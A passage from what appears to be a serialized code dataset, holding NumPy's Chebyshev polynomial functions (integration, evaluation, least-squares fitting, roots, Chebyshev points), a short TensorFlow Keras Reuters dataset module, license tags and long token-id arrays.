raise ValueError, "The order of derivation must be non-negative"
# cs is a trimmed copy
[cs] = pu.as_series([cs])
if cnt == 0:
return cs
elif cnt >= len(cs):
return cs[:1]*0
else :
zs = _cseries_to_zseries(cs)
for i in range(cnt):
zs = _zseries_der(zs)*scl
return _zseries_to_cseries(zs)
def chebint(cs, m=1, k=[], lbnd=0, scl=1):
"""
Integrate a Chebyshev series.
Returns, as a C-series, the input C-series `cs`, integrated `m` times
from `lbnd` to `x`. At each iteration the resulting series is
**multiplied** by `scl` and an integration constant, `k`, is added.
The scaling factor is for use in a linear change of variable. ("Buyer
beware": note that, depending on what one is doing, one may want `scl`
to be the reciprocal of what one might expect; for more information,
see the Notes section below.) The argument `cs` is a sequence of
coefficients, from lowest order C-series "term" to highest, e.g.,
[1,2,3] represents the series :math:`T_0(x) + 2T_1(x) + 3T_2(x)`.
Parameters
----------
cs : array_like
1-d array of C-series coefficients, ordered from low to high.
m : int, optional
Order of integration, must be positive. (Default: 1)
k : {[], list, scalar}, optional
Integration constant(s). The value of the first integral at zero
is the first value in the list, the value of the second integral
at zero is the second value, etc. If ``k == []`` (the default),
all constants are set to zero. If ``m == 1``, a single scalar can
be given instead of a list.
lbnd : scalar, optional
The lower bound of the integral. (Default: 0)
scl : scalar, optional
Following each integration the result is *multiplied* by `scl`
before the integration constant is added. (Default: 1)
Returns
-------
S : ndarray
C-series coefficients of the integral.
Raises
------
ValueError
If ``m < 1``, ``len(k) > m``, ``np.isscalar(lbnd) == False``, or
``np.isscalar(scl) == False``.
See Also
--------
chebder
Notes
-----
Note that the result of each integration is *multiplied* by `scl`.
Why is this important to note? Say one is making a linear change of
variable :math:`u = ax + b` in an integral relative to `x`. Then
:math:`dx = du/a`, so one will need to set `scl` equal to :math:`1/a`
- perhaps not what one would have first thought.
Also note that, in general, the result of integrating a C-series needs
to be "re-projected" onto the C-series basis set. Thus, typically,
the result of this function is "un-intuitive," albeit correct; see
Examples section below.
Examples
--------
>>> from numpy.polynomial import chebyshev as C
>>> cs = (1,2,3)
>>> C.chebint(cs)
array([ 0.5, -0.5, 0.5, 0.5])
>>> C.chebint(cs,3)
array([ 0.03125 , -0.1875 , 0.04166667, -0.05208333, 0.01041667,
0.00625 ])
>>> C.chebint(cs, k=3)
array([ 3.5, -0.5, 0.5, 0.5])
>>> C.chebint(cs,lbnd=-2)
array([ 8.5, -0.5, 0.5, 0.5])
>>> C.chebint(cs,scl=-2)
array([-1., 1., -1., -1.])
"""
cnt = int(m)
if not np.iterable(k):
k = [k]
if cnt != m:
raise ValueError, "The order of integration must be integer"
if cnt < 0 :
raise ValueError, "The order of integration must be non-negative"
if len(k) > cnt :
raise ValueError, "Too many integration constants"
# cs is a trimmed copy
[cs] = pu.as_series([cs])
if cnt == 0:
return cs
k = list(k) + [0]*(cnt - len(k))
for i in range(cnt) :
n = len(cs)
cs *= scl
if n == 1 and cs[0] == 0:
cs[0] += k[i]
else:
zs = _cseries_to_zseries(cs)
zs = _zseries_int(zs)
cs = _zseries_to_cseries(zs)
cs[0] += k[i] - chebval(lbnd, cs)
return cs
def chebval(x, cs):
"""Evaluate a Chebyshev series.
If `cs` is of length `n`, this function returns :
``p(x) = cs[0]*T_0(x) + cs[1]*T_1(x) + ... + cs[n-1]*T_{n-1}(x)``
If x is a sequence or array then p(x) will have the same shape as x.
If r is a ring_like object that supports multiplication and addition
by the values in `cs`, then an object of the same type is returned.
Parameters
----------
x : array_like, ring_like
Array of numbers or objects that support multiplication and
addition with themselves and with the elements of `cs`.
cs : array_like
1-d array of Chebyshev coefficients ordered from low to high.
Returns
-------
values : ndarray, ring_like
If the return is an ndarray then it has the same shape as `x`.
See Also
--------
chebfit
Examples
--------
Notes
-----
The evaluation uses Clenshaw recursion, aka synthetic division.
Examples
--------
"""
# cs is a trimmed copy
[cs] = pu.as_series([cs])
if isinstance(x, tuple) or isinstance(x, list) :
x = np.asarray(x)
if len(cs) == 1 :
c0 = cs[0]
c1 = 0
elif len(cs) == 2 :
c0 = cs[0]
c1 = cs[1]
else :
x2 = 2*x
c0 = cs[-2]
c1 = cs[-1]
for i in range(3, len(cs) + 1) :
tmp = c0
c0 = cs[-i] - c1
c1 = tmp + c1*x2
return c0 + c1*x
def chebvander(x, deg) :
"""Vandermonde matrix of given degree.
Returns the Vandermonde matrix of degree `deg` and sample points `x`.
This isn't a true Vandermonde matrix because `x` can be an arbitrary
ndarray and the Chebyshev polynomials aren't powers. If ``V`` is the
returned matrix and `x` is a 2d array, then the elements of ``V`` are
``V[i,j,k] = T_k(x[i,j])``, where ``T_k`` is the Chebyshev polynomial
of degree ``k``.
Parameters
----------
x : array_like
Array of points. The values are converted to double or complex
doubles. If x is scalar it is converted to a 1D array.
deg : integer
Degree of the resulting matrix.
Returns
-------
vander : Vandermonde matrix.
The shape of the returned matrix is ``x.shape + (deg+1,)``. The last
index is the degree.
"""
ideg = int(deg)
if ideg != deg:
raise ValueError("deg must be integer")
if ideg < 0:
raise ValueError("deg must be non-negative")
x = np.array(x, copy=0, ndmin=1) + 0.0
v = np.empty((ideg + 1,) + x.shape, dtype=x.dtype)
# Use forward recursion to generate the entries.
v[0] = x*0 + 1
if ideg > 0 :
x2 = 2*x
v[1] = x
for i in range(2, ideg + 1) :
v[i] = v[i-1]*x2 - v[i-2]
return np.rollaxis(v, 0, v.ndim)
def chebfit(x, y, deg, rcond=None, full=False, w=None):
"""
Least squares fit of Chebyshev series to data.
Fit a Chebyshev series ``p(x) = p[0] * T_{0}(x) + ... + p[deg] *
T_{deg}(x)`` of degree `deg` to points `(x, y)`. Returns a vector of
coefficients `p` that minimises the squared error.
Parameters
----------
x : array_like, shape (M,)
x-coordinates of the M sample points ``(x[i], y[i])``.
y : array_like, shape (M,) or (M, K)
y-coordinates of the sample points. Several data sets of sample
points sharing the same x-coordinates can be fitted at once by
passing in a 2D-array that contains one dataset per column.
deg : int
Degree of the fitting polynomial
rcond : float, optional
Relative condition number of the fit. Singular values smaller than
this relative to the largest singular value will be ignored. The
default value is len(x)*eps, where eps is the relative precision of
the float type, about 2e-16 in most cases.
full : bool, optional
Switch determining nature of return value. When it is False (the
default) just the coefficients are returned, when True diagnostic
information from the singular value decomposition is also returned.
w : array_like, shape (`M`,), optional
Weights. If not None, the contribution of each point
``(x[i],y[i])`` to the fit is weighted by `w[i]`. Ideally the
weights are chosen so that the errors of the products ``w[i]*y[i]``
all have the same variance. The default value is None.
.. versionadded:: 1.5.0
Returns
-------
coef : ndarray, shape (M,) or (M, K)
Chebyshev coefficients ordered from low to high. If `y` was 2-D,
the coefficients for the data in column k of `y` are in column
`k`.
[residuals, rank, singular_values, rcond] : present when `full` = True
Residuals of the least-squares fit, the effective rank of the
scaled Vandermonde matrix and its singular values, and the
specified value of `rcond`. For more details, see `linalg.lstsq`.
Warns
-----
RankWarning
The rank of the coefficient matrix in the least-squares fit is
deficient. The warning is only raised if `full` = False. The
warnings can be turned off by
>>> import warnings
>>> warnings.simplefilter('ignore', RankWarning)
See Also
--------
chebval : Evaluates a Chebyshev series.
chebvander : Vandermonde matrix of Chebyshev series.
polyfit : least squares fit using polynomials.
linalg.lstsq : Computes a least-squares fit from the matrix.
scipy.interpolate.UnivariateSpline : Computes spline fits.
Notes
-----
The solution are the coefficients ``c[i]`` of the Chebyshev series
``T(x)`` that minimizes the squared error
``E = \\sum_j |y_j - T(x_j)|^2``.
This problem is solved by setting up as the overdetermined matrix
equation
``V(x)*c = y``,
where ``V`` is the Vandermonde matrix of `x`, the elements of ``c`` are
the coefficients to be solved for, and the elements of `y` are the
observed values. This equation is then solved using the singular value
decomposition of ``V``.
If some of the singular values of ``V`` are so small that they are
neglected, then a `RankWarning` will be issued. This means that the
coeficient values may be poorly determined. Using a lower order fit
will usually get rid of the warning. The `rcond` parameter can also be
set to a value smaller than its default, but the resulting fit may be
spurious and have large contributions from roundoff error.
Fits using Chebyshev series are usually better conditioned than fits
using power series, but much can depend on the distribution of the
sample points and the smoothness of the data. If the quality of the fit
is inadequate splines may be a good alternative.
References
----------
.. [1] Wikipedia, "Curve fitting",
http://en.wikipedia.org/wiki/Curve_fitting
Examples
--------
"""
order = int(deg) + 1
x = np.asarray(x) + 0.0
y = np.asarray(y) + 0.0
# check arguments.
if deg < 0 :
raise ValueError, "expected deg >= 0"
if x.ndim != 1:
raise TypeError, "expected 1D vector for x"
if x.size == 0:
raise TypeError, "expected non-empty vector for x"
if y.ndim < 1 or y.ndim > 2 :
raise TypeError, "expected 1D or 2D array for y"
if len(x) != len(y):
raise TypeError, "expected x and y to have same length"
# set up the least squares matrices
lhs = chebvander(x, deg)
rhs = y
if w is not None:
w = np.asarray(w) + 0.0
if w.ndim != 1:
raise TypeError, "expected 1D vector for w"
if len(x) != len(w):
raise TypeError, "expected x and w to have same length"
# apply weights
if rhs.ndim == 2:
lhs *= w[:, np.newaxis]
rhs *= w[:, np.newaxis]
else:
lhs *= w[:, np.newaxis]
rhs *= w
# set rcond
if rcond is None :
rcond = len(x)*np.finfo(x.dtype).eps
# scale the design matrix and solve the least squares equation
scl = np.sqrt((lhs*lhs).sum(0))
c, resids, rank, s = la.lstsq(lhs/scl, rhs, rcond)
c = (c.T/scl).T
# warn on rank reduction
if rank != order and not full:
msg = "The fit may be poorly conditioned"
warnings.warn(msg, pu.RankWarning)
if full :
return c, [resids, rank, s, rcond]
else :
return c
def chebroots(cs):
"""
Compute the roots of a Chebyshev series.
Return the roots (a.k.a "zeros") of the C-series represented by `cs`,
which is the sequence of the C-series' coefficients from lowest order
"term" to highest, e.g., [1,2,3] represents the C-series
``T_0 + 2*T_1 + 3*T_2``.
Parameters
----------
cs : array_like
1-d array of C-series coefficients ordered from low to high.
Returns
-------
out : ndarray
Array of the roots. If all the roots are real, then so is the
dtype of ``out``; otherwise, ``out``'s dtype is complex.
See Also
--------
polyroots
Notes
-----
Algorithm(s) used:
Remember: because the C-series basis set is different from the
"standard" basis set, the results of this function *may* not be what
one is expecting.
Examples
--------
>>> import numpy.polynomial as P
>>> import numpy.polynomial.chebyshev as C
>>> P.polyroots((-1,1,-1,1)) # x^3 - x^2 + x - 1 has two complex roots
array([ -4.99600361e-16-1.j, -4.99600361e-16+1.j, 1.00000e+00+0.j])
>>> C.chebroots((-1,1,-1,1)) # T3 - T2 + T1 - T0 has only real roots
array([ -5.00000000e-01, 2.60860684e-17, 1.00000000e+00])
"""
# cs is a trimmed copy
[cs] = pu.as_series([cs])
if len(cs) <= 1 :
return np.array([], dtype=cs.dtype)
if len(cs) == 2 :
return np.array([-cs[0]/cs[1]])
n = len(cs) - 1
cs /= cs[-1]
cmat = np.zeros((n,n), dtype=cs.dtype)
cmat[1, 0] = 1
for i in range(1, n):
cmat[i - 1, i] = .5
if i != n - 1:
cmat[i + 1, i] = .5
else:
cmat[:, i] -= cs[:-1]*.5
roots = la.eigvals(cmat)
roots.sort()
return roots
def chebpts1(npts):
"""Chebyshev points of the first kind.
Chebyshev points of the first kind are the set ``{cos(x_k)}``,
where ``x_k = pi*(k + .5)/npts`` for k in ``range(npts}``.
Parameters
----------
npts: int
Number of sample points desired.
Returns
-------
pts: ndarray
The Chebyshev points of the second kind.
Notes
-----
.. versionadded:: 1.5.0
"""
_npts = int(npts)
if _npts != npts:
raise ValueError("npts must be integer")
if _npts < 1:
raise ValueError("npts must be >= 1")
x = np.linspace(-np.pi, 0, _npts, endpoint=False) + np.pi/(2*_npts)
return np.cos(x)
def chebpts2(npts):
"""Chebyshev points of the second kind.
Chebyshev points of the second kind are the set ``{cos(x_k)}``,
where ``x_k = pi*/(npts - 1)`` for k in ``range(npts}``.
Parameters
----------
npts: int
Number of sample points desired.
Returns
-------
pts: ndarray
The Chebyshev points of the second kind.
Notes
-----
.. versionadded:: 1.5.0
"""
_npts = int(npts)
if _npts != npts:
raise ValueError("npts must be integer")
if _npts < 2:
raise ValueError("npts must be >= 2")
x = np.linspace(-np.pi, 0, _npts)
return np.cos(x)
#
# Chebyshev series class
#
exec polytemplate.substitute(name='Chebyshev', nick='cheb', domain='[-1,1]')
|
gpl-3.0
|
[
624,
199,
11188,
367,
23654,
543,
445,
9260,
27185,
6779,
14,
199,
199,
2765,
859,
6571,
282,
1329,
402,
2251,
334,
2786,
590,
3423,
9,
2997,
367,
199,
21245,
316,
543,
445,
9260,
27185,
6779,
12,
5893,
282,
658,
35,
9260,
27185,
64,
1021,
626,
199,
287,
12029,
15409,
314,
20195,
24166,
5331,
14,
221,
334,
14109,
2556,
199,
265,
4212,
642,
859,
8469,
436,
5419,
543,
4066,
27599,
365,
315,
314,
199,
12485,
367,
2399,
298,
1708,
2,
1007,
13,
2491,
12,
658,
4714,
14,
22104,
14963,
199,
199,
22185,
199,
9960,
199,
13,
658,
25820,
2261,
64,
1553,
445,
9260,
27185,
6779,
849,
2881,
12,
5243,
17,
12,
17,
1055,
199,
13,
658,
25820,
4262,
64,
1553,
334,
967,
21069,
83,
402,
314,
9,
445,
9260,
27185,
6779,
626,
22014,
523,
6120,
17269,
370,
378,
14,
199,
13,
658,
595,
21134,
64,
1553,
334,
967,
21069,
83,
402,
314,
9,
445,
9260,
27185,
6779,
626,
22014,
523,
6120,
17269,
370,
413,
14,
199,
13,
658,
595,
13691,
64,
1553,
334,
967,
21069,
83,
402,
314,
9,
445,
9260,
27185,
6779,
367,
314,
8503,
2341,
12,
523,
1124,
70,
8,
88,
9,
275,
671,
4345,
199,
199,
26291,
18764,
199,
9460,
199,
13,
658,
25820,
525,
64,
1553,
1050,
2877,
445,
9260,
27185,
6779,
14,
199,
13,
658,
25820,
954,
64,
1553,
24129,
1373,
445,
9260,
27185,
6779,
687,
4573,
14,
199,
13,
658,
25820,
3703,
64,
1553,
21699,
2877,
445,
9260,
27185,
6779,
14,
199,
13,
658,
25820,
3015,
64,
1553,
23003,
1373,
445,
9260,
27185,
6779,
701,
4573,
14,
199,
13,
658,
25820,
637,
64,
1553,
9352,
282,
445,
9260,
27185,
6779,
737,
1627,
4501,
14,
199,
199,
13862,
527,
199,
518,
199,
13,
658,
25820,
424,
64,
1553,
26796,
323,
282,
445,
9260,
27185,
6779,
14,
199,
13,
658,
25820,
442,
64,
1553,
21494,
282,
445,
9260,
27185,
6779,
14,
199,
199,
29926,
17471,
199,
10965,
199,
13,
658,
25820,
504,
12065,
64,
1553,
1218,
282,
445,
9260,
27185,
6779,
543,
2013,
14361,
14,
199,
13,
658,
25820,
12065,
64,
1553,
2342,
314,
14361,
402,
282,
445,
9260,
27185,
6779,
14,
199,
13,
658,
595,
23064,
11438,
64,
1553,
812,
11438,
2106,
271,
13,
2930,
3634,
367,
445,
9260,
27185,
27599,
14,
199,
13,
658,
25820,
3269,
64,
1553,
5210,
13,
20956,
5542,
8152,
282,
445,
9260,
27185,
6779,
14,
199,
13,
658,
25820,
8382,
17,
64,
1553,
445,
9260,
27185,
4501,
402,
314,
1642,
4928,
14,
199,
13,
658,
25820,
8382,
18,
64,
1553,
445,
9260,
27185,
4501,
402,
314,
3499,
4928,
14,
199,
13,
658,
25820,
12263,
64,
1553,
11639,
9186,
12343,
687,
282,
445,
9260,
27185,
6779,
14,
199,
13,
658,
25820,
604,
64,
1553,
445,
9260,
27185,
6779,
402,
1627,
23669,
1004,
14,
199,
13,
658,
25820,
18,
6023,
64,
1553,
3957,
282,
445,
9260,
27185,
6779,
370,
282,
11849,
14,
199,
13,
658,
6023,
18,
25820,
64,
1553,
3957,
282,
11849,
370,
282,
445,
9260,
27185,
6779,
14,
199,
199,
15711,
199,
12797,
199,
13,
658,
35,
9260,
27185,
64,
1553,
437,
445,
9260,
27185,
6779,
1021,
14,
199,
199,
9295,
2597,
199,
518,
199,
64,
4714,
14,
22104,
64,
199,
199,
18685,
199,
9858,
199,
1918,
12591,
402,
24638,
12,
4629,
12,
13150,
12,
436,
199,
6870,
30906,
425,
675,
314,
741,
27060,
6120,
5080,
359,
17,
61,
10388,
199,
199,
703,
3473,
3800,
272,
377,
63,
78,
8,
88,
9,
275,
8522,
10865,
91,
90,
62,
78,
435,
1315,
25997,
78,
4863,
91,
18,
93,
971,
9780,
272,
1315,
1103,
10865,
91,
8373,
8847,
17019,
93,
275,
8522,
10865,
91,
90,
446,
1315,
25997,
17,
4863,
91,
18,
5565,
199,
199,
4509,
199,
199,
703,
3473,
3800,
671,
275,
8522,
10865,
91,
90,
435,
1315,
25997,
17,
4863,
91,
18,
5565,
199,
199,
20676,
6120,
5080,
2040,
282,
445,
9260,
27185,
6779,
370,
506,
19147,
465,
282,
21837,
12,
199,
18422,
7964,
608,
343,
6779,
14,
221,
1010,
642,
859,
12,
642,
4069,
402,
7964,
608,
343,
6779,
199,
374,
25713,
370,
465,
282,
298,
90,
13,
5602,
2122,
199,
199,
15242,
199,
9460,
199,
703,
359,
17,
61,
437,
14,
377,
14,
26844,
16997,
262,
12,
10844,
741,
2020,
298,
17039,
707,
2380,
12480,
27719,
2358,
543,
445,
9260,
27185,
523,
8467,
8887,
83,
4589,
627,
25909,
402,
7083,
30364,
7497,
11495,
436,
1010,
1769,
4329,
10381,
9079,
523,
334,
657,
1361,
26,
1455,
921,
1544,
14,
3442,
14,
72,
5466,
14,
8654,
22500,
18486,
16997,
262,
15,
10443,
83,
15,
4373,
66,
6948,
71,
14,
5607,
12,
10275,
14,
841,
9,
199,
199,
624,
199,
504,
636,
2443,
363,
492,
4629,
199,
199,
363,
452,
363,
275,
788,
25820,
4262,
297,
283,
595,
21134,
297,
283,
595,
13691,
297,
283,
25820,
2261,
297,
283,
25820,
604,
297,
267,
283,
25820,
525,
297,
283,
25820,
954,
297,
283,
25820,
3703,
88,
297,
283,
25820,
3703,
297,
283,
25820,
3015,
297,
283,
25820,
637,
297,
267,
283,
25820,
424,
297,
283,
25820,
442,
297,
283,
25820,
18,
6023,
297,
283,
6023,
18,
25820,
297,
283,
25820,
504,
12065,
297,
267,
283,
595,
23064,
11438,
297,
283,
25820,
3269,
297,
283,
25820,
12263,
297,
283,
25820,
12065,
297,
283,
25820,
8382,
17,
297,
267,
283,
25820,
8382,
18,
297,
283,
35,
9260,
27185,
418,
199,
199,
646,
2680,
465,
980,
199,
646,
2680,
14,
10096,
465,
1127,
199,
646,
8446,
1208,
465,
18848,
199,
646,
3598,
199,
504,
8446,
1160,
492,
8446,
1160,
199,
199,
25820,
12263,
275,
18848,
14,
12263,
8009,
199,
199,
3,
199,
3,
437,
3245,
402,
3423,
367,
13335,
20529,
1315,
13,
5602,
14,
5723,
787,
5726,
199,
3,
3423,
436,
886,
13460,
1125,
7907,
14,
199,
3,
199,
199,
318,
485,
67,
5602,
63,
475,
63,
90,
5602,
8,
1259,
9,
520,
272,
408,
967,
1884,
445,
9260,
27185,
6779,
370,
1315,
13,
5602,
14,
339,
1849,
1884,
282,
445,
9260,
27185,
6779,
370,
314,
7353,
1315,
13,
5602,
14,
710,
754,
365,
272,
7078,
376,
2701,
1625,
14,
710,
2152,
402,
314,
372,
365,
314,
2011,
465,
626,
402,
272,
314,
1324,
14,
3091,
5920,
787,
1255,
641
] |
[
199,
11188,
367,
23654,
543,
445,
9260,
27185,
6779,
14,
199,
199,
2765,
859,
6571,
282,
1329,
402,
2251,
334,
2786,
590,
3423,
9,
2997,
367,
199,
21245,
316,
543,
445,
9260,
27185,
6779,
12,
5893,
282,
658,
35,
9260,
27185,
64,
1021,
626,
199,
287,
12029,
15409,
314,
20195,
24166,
5331,
14,
221,
334,
14109,
2556,
199,
265,
4212,
642,
859,
8469,
436,
5419,
543,
4066,
27599,
365,
315,
314,
199,
12485,
367,
2399,
298,
1708,
2,
1007,
13,
2491,
12,
658,
4714,
14,
22104,
14963,
199,
199,
22185,
199,
9960,
199,
13,
658,
25820,
2261,
64,
1553,
445,
9260,
27185,
6779,
849,
2881,
12,
5243,
17,
12,
17,
1055,
199,
13,
658,
25820,
4262,
64,
1553,
334,
967,
21069,
83,
402,
314,
9,
445,
9260,
27185,
6779,
626,
22014,
523,
6120,
17269,
370,
378,
14,
199,
13,
658,
595,
21134,
64,
1553,
334,
967,
21069,
83,
402,
314,
9,
445,
9260,
27185,
6779,
626,
22014,
523,
6120,
17269,
370,
413,
14,
199,
13,
658,
595,
13691,
64,
1553,
334,
967,
21069,
83,
402,
314,
9,
445,
9260,
27185,
6779,
367,
314,
8503,
2341,
12,
523,
1124,
70,
8,
88,
9,
275,
671,
4345,
199,
199,
26291,
18764,
199,
9460,
199,
13,
658,
25820,
525,
64,
1553,
1050,
2877,
445,
9260,
27185,
6779,
14,
199,
13,
658,
25820,
954,
64,
1553,
24129,
1373,
445,
9260,
27185,
6779,
687,
4573,
14,
199,
13,
658,
25820,
3703,
64,
1553,
21699,
2877,
445,
9260,
27185,
6779,
14,
199,
13,
658,
25820,
3015,
64,
1553,
23003,
1373,
445,
9260,
27185,
6779,
701,
4573,
14,
199,
13,
658,
25820,
637,
64,
1553,
9352,
282,
445,
9260,
27185,
6779,
737,
1627,
4501,
14,
199,
199,
13862,
527,
199,
518,
199,
13,
658,
25820,
424,
64,
1553,
26796,
323,
282,
445,
9260,
27185,
6779,
14,
199,
13,
658,
25820,
442,
64,
1553,
21494,
282,
445,
9260,
27185,
6779,
14,
199,
199,
29926,
17471,
199,
10965,
199,
13,
658,
25820,
504,
12065,
64,
1553,
1218,
282,
445,
9260,
27185,
6779,
543,
2013,
14361,
14,
199,
13,
658,
25820,
12065,
64,
1553,
2342,
314,
14361,
402,
282,
445,
9260,
27185,
6779,
14,
199,
13,
658,
595,
23064,
11438,
64,
1553,
812,
11438,
2106,
271,
13,
2930,
3634,
367,
445,
9260,
27185,
27599,
14,
199,
13,
658,
25820,
3269,
64,
1553,
5210,
13,
20956,
5542,
8152,
282,
445,
9260,
27185,
6779,
14,
199,
13,
658,
25820,
8382,
17,
64,
1553,
445,
9260,
27185,
4501,
402,
314,
1642,
4928,
14,
199,
13,
658,
25820,
8382,
18,
64,
1553,
445,
9260,
27185,
4501,
402,
314,
3499,
4928,
14,
199,
13,
658,
25820,
12263,
64,
1553,
11639,
9186,
12343,
687,
282,
445,
9260,
27185,
6779,
14,
199,
13,
658,
25820,
604,
64,
1553,
445,
9260,
27185,
6779,
402,
1627,
23669,
1004,
14,
199,
13,
658,
25820,
18,
6023,
64,
1553,
3957,
282,
445,
9260,
27185,
6779,
370,
282,
11849,
14,
199,
13,
658,
6023,
18,
25820,
64,
1553,
3957,
282,
11849,
370,
282,
445,
9260,
27185,
6779,
14,
199,
199,
15711,
199,
12797,
199,
13,
658,
35,
9260,
27185,
64,
1553,
437,
445,
9260,
27185,
6779,
1021,
14,
199,
199,
9295,
2597,
199,
518,
199,
64,
4714,
14,
22104,
64,
199,
199,
18685,
199,
9858,
199,
1918,
12591,
402,
24638,
12,
4629,
12,
13150,
12,
436,
199,
6870,
30906,
425,
675,
314,
741,
27060,
6120,
5080,
359,
17,
61,
10388,
199,
199,
703,
3473,
3800,
272,
377,
63,
78,
8,
88,
9,
275,
8522,
10865,
91,
90,
62,
78,
435,
1315,
25997,
78,
4863,
91,
18,
93,
971,
9780,
272,
1315,
1103,
10865,
91,
8373,
8847,
17019,
93,
275,
8522,
10865,
91,
90,
446,
1315,
25997,
17,
4863,
91,
18,
5565,
199,
199,
4509,
199,
199,
703,
3473,
3800,
671,
275,
8522,
10865,
91,
90,
435,
1315,
25997,
17,
4863,
91,
18,
5565,
199,
199,
20676,
6120,
5080,
2040,
282,
445,
9260,
27185,
6779,
370,
506,
19147,
465,
282,
21837,
12,
199,
18422,
7964,
608,
343,
6779,
14,
221,
1010,
642,
859,
12,
642,
4069,
402,
7964,
608,
343,
6779,
199,
374,
25713,
370,
465,
282,
298,
90,
13,
5602,
2122,
199,
199,
15242,
199,
9460,
199,
703,
359,
17,
61,
437,
14,
377,
14,
26844,
16997,
262,
12,
10844,
741,
2020,
298,
17039,
707,
2380,
12480,
27719,
2358,
543,
445,
9260,
27185,
523,
8467,
8887,
83,
4589,
627,
25909,
402,
7083,
30364,
7497,
11495,
436,
1010,
1769,
4329,
10381,
9079,
523,
334,
657,
1361,
26,
1455,
921,
1544,
14,
3442,
14,
72,
5466,
14,
8654,
22500,
18486,
16997,
262,
15,
10443,
83,
15,
4373,
66,
6948,
71,
14,
5607,
12,
10275,
14,
841,
9,
199,
199,
624,
199,
504,
636,
2443,
363,
492,
4629,
199,
199,
363,
452,
363,
275,
788,
25820,
4262,
297,
283,
595,
21134,
297,
283,
595,
13691,
297,
283,
25820,
2261,
297,
283,
25820,
604,
297,
267,
283,
25820,
525,
297,
283,
25820,
954,
297,
283,
25820,
3703,
88,
297,
283,
25820,
3703,
297,
283,
25820,
3015,
297,
283,
25820,
637,
297,
267,
283,
25820,
424,
297,
283,
25820,
442,
297,
283,
25820,
18,
6023,
297,
283,
6023,
18,
25820,
297,
283,
25820,
504,
12065,
297,
267,
283,
595,
23064,
11438,
297,
283,
25820,
3269,
297,
283,
25820,
12263,
297,
283,
25820,
12065,
297,
283,
25820,
8382,
17,
297,
267,
283,
25820,
8382,
18,
297,
283,
35,
9260,
27185,
418,
199,
199,
646,
2680,
465,
980,
199,
646,
2680,
14,
10096,
465,
1127,
199,
646,
8446,
1208,
465,
18848,
199,
646,
3598,
199,
504,
8446,
1160,
492,
8446,
1160,
199,
199,
25820,
12263,
275,
18848,
14,
12263,
8009,
199,
199,
3,
199,
3,
437,
3245,
402,
3423,
367,
13335,
20529,
1315,
13,
5602,
14,
5723,
787,
5726,
199,
3,
3423,
436,
886,
13460,
1125,
7907,
14,
199,
3,
199,
199,
318,
485,
67,
5602,
63,
475,
63,
90,
5602,
8,
1259,
9,
520,
272,
408,
967,
1884,
445,
9260,
27185,
6779,
370,
1315,
13,
5602,
14,
339,
1849,
1884,
282,
445,
9260,
27185,
6779,
370,
314,
7353,
1315,
13,
5602,
14,
710,
754,
365,
272,
7078,
376,
2701,
1625,
14,
710,
2152,
402,
314,
372,
365,
314,
2011,
465,
626,
402,
272,
314,
1324,
14,
3091,
5920,
787,
1255,
641,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1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/contrib/keras/api/keras/datasets/reuters/__init__.py
|
73
|
1061
|
# Copyright 2016 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Reuters newswire topic classification dataset."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from tensorflow.python.keras._impl.keras.datasets.reuters import get_word_index
from tensorflow.python.keras._impl.keras.datasets.reuters import load_data
del absolute_import
del division
del print_function
|
apache-2.0
|
[
3,
1898,
7800,
710,
9134,
6642,
14,
2900,
5924,
5702,
14,
199,
3,
199,
3,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
199,
3,
1265,
1443,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
199,
3,
2047,
1443,
3332,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
258,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
199,
3,
2428,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
199,
3,
1666,
314,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
199,
3,
4204,
1334,
314,
844,
14,
199,
3,
11148,
199,
624,
497,
19717,
892,
3519,
3621,
7482,
12505,
4789,
1041,
199,
199,
504,
636,
2443,
363,
492,
3679,
63,
646,
199,
504,
636,
2443,
363,
492,
4629,
199,
504,
636,
2443,
363,
492,
870,
63,
1593,
199,
199,
504,
3228,
14,
1548,
14,
8811,
423,
5472,
14,
8811,
14,
12281,
14,
264,
19717,
492,
664,
63,
1027,
63,
1080,
199,
504,
3228,
14,
1548,
14,
8811,
423,
5472,
14,
8811,
14,
12281,
14,
264,
19717,
492,
2248,
63,
576,
199,
199,
2264,
3679,
63,
646,
199,
2264,
4629,
199,
2264,
870,
63,
1593,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
